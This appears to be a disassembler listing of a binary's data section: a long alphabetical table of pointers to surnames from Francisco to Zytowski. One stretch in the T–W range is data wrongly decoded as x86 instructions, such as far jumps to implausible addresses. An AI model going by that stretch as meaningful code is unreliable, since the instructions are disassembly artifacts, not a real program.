dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
; ---------------------------------------------------------------------------
fsubr st, st(3)
inc edx
add al, dl
jmp short loc_42E6E1
; ---------------------------------------------------------------------------
align 10h
enter 42EBh, 0
shr bl, 42h
add [eax-53FFBD15h], bh
jmp short loc_42E6F1
; ---------------------------------------------------------------------------
align 10h
mov al, ds:980042EBh
loc_42E6B5: ; CODE XREF: ___:0042E6C8j
jmp short loc_42E6F9
; ---------------------------------------------------------------------------
align 4
dd offset aTudge ; "Tudge"
; ---------------------------------------------------------------------------
mov bl, ch
inc edx
add [eax+780042EBh], al
jmp short loc_42E709
; ---------------------------------------------------------------------------
align 4
jo short loc_42E6B5
inc edx
add [eax-15h], ch
inc edx
add [ebx+ebp*8+42h], bl
add [ebx+ebp*8+42h], dl
add [eax-15h], cl
inc edx
add [eax-15h], al
inc edx
add [eax], bh
loc_42E6E1: ; CODE XREF: ___:0042E69Dj
jmp short loc_42E725
; ---------------------------------------------------------------------------
align 4
sub bl, ch
inc edx
add [eax], ah
jmp short loc_42E72D
; ---------------------------------------------------------------------------
align 4
sbb bl, ch
inc edx
add [eax], dl
loc_42E6F1: ; CODE XREF: ___:0042E6ADj
jmp short loc_42E735
; ---------------------------------------------------------------------------
align 4
dd offset aWaite ; "Waite"
db 0
; ---------------------------------------------------------------------------
loc_42E6F9: ; CODE XREF: ___:loc_42E6B5j
jmp short loc_42E73D
; ---------------------------------------------------------------------------
align 4
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
db 0D8h
; ---------------------------------------------------------------------------
loc_42E709: ; CODE XREF: ___:0042E6C5j
jmp far ptr 42h:0EACC0042h
; ---------------------------------------------------------------------------
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
db 88h
; ---------------------------------------------------------------------------
loc_42E725: ; CODE XREF: ___:loc_42E6E1j
jmp far ptr 42h:0EA800042h
; ---------------------------------------------------------------------------
db 74h
; ---------------------------------------------------------------------------
loc_42E72D: ; CODE XREF: ___:0042E6E9j
jmp far ptr 42h:0EA680042h
; ---------------------------------------------------------------------------
pop esp
loc_42E735: ; CODE XREF: ___:loc_42E6F1j
jmp far ptr 42h:0EA500042h
; ---------------------------------------------------------------------------
db 44h
; ---------------------------------------------------------------------------
loc_42E73D: ; CODE XREF: ___:loc_42E6F9j
jmp far ptr 42h:0EA380042h
; ---------------------------------------------------------------------------
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E830o
align 10h
